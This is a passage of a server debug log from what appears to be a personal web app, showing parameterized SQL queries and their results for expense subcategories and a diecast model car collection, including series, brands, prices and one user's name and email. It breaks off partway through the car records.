2026-02-03T13:30:24.524Z server-connect:output identity: 1
2026-02-03T13:30:24.524Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.524Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.524Z server-connect:output restrict: undefined
2026-02-03T13:30:24.524Z server-connect:app Executing action step select
2026-02-03T13:30:24.524Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-03T13:30:24.529Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-03T13:30:24.531Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-03T13:30:24.533Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:30:24.535Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:30:24.535Z server-connect:app Executing action step identify
2026-02-03T13:30:24.535Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.535Z server-connect:output identity: 1
2026-02-03T13:30:24.535Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.535Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.536Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:30:24.536Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:30:24.537Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:30:24.537Z server-connect:app Executing action step identify
2026-02-03T13:30:24.537Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.537Z server-connect:output identity: 1
2026-02-03T13:30:24.537Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.537Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.537Z server-connect:app Executing action step identify
2026-02-03T13:30:24.537Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.537Z server-connect:output identity: 1
2026-02-03T13:30:24.537Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.537Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.537Z server-connect:output restrict: undefined
2026-02-03T13:30:24.537Z server-connect:app Executing action step single
2026-02-03T13:30:24.538Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-03T13:30:24.538Z server-connect:app Executing action step identify
2026-02-03T13:30:24.538Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.538Z server-connect:output identity: 1
2026-02-03T13:30:24.538Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.538Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.538Z server-connect:app Executing action step identify
2026-02-03T13:30:24.538Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.538Z server-connect:output identity: 1
2026-02-03T13:30:24.538Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.538Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.538Z server-connect:app Executing action step identify
2026-02-03T13:30:24.539Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:24.539Z server-connect:output identity: 1
2026-02-03T13:30:24.539Z server-connect:app Executing action step restrict
2026-02-03T13:30:24.539Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:24.539Z server-connect:output restrict: undefined
2026-02-03T13:30:24.539Z server-connect:app Executing action step select
2026-02-03T13:30:24.539Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:30:24.540Z server-connect:output restrict: undefined
2026-02-03T13:30:24.540Z server-connect:app Executing action step select
2026-02-03T13:30:24.540Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:30:24.540Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-03T13:30:24.541Z server-connect:output restrict: undefined
2026-02-03T13:30:24.541Z server-connect:app Executing action step paged
2026-02-03T13:30:24.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:30:24.541Z server-connect:output restrict: undefined
2026-02-03T13:30:24.541Z server-connect:app Executing action step select
2026-02-03T13:30:24.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:30:24.542Z server-connect:output restrict: undefined
2026-02-03T13:30:24.542Z server-connect:app Executing action step select
2026-02-03T13:30:24.542Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:30:24.543Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:30:24.543Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:30:24.546Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T13:30:24.546Z server-connect:app Executing action step select
2026-02-03T13:30:24.546Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:30:24.546Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-03T13:30:24.549Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:30:24.549Z server-connect:app Executing action step select
2026-02-03T13:30:24.549Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:30:24.550Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 123,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
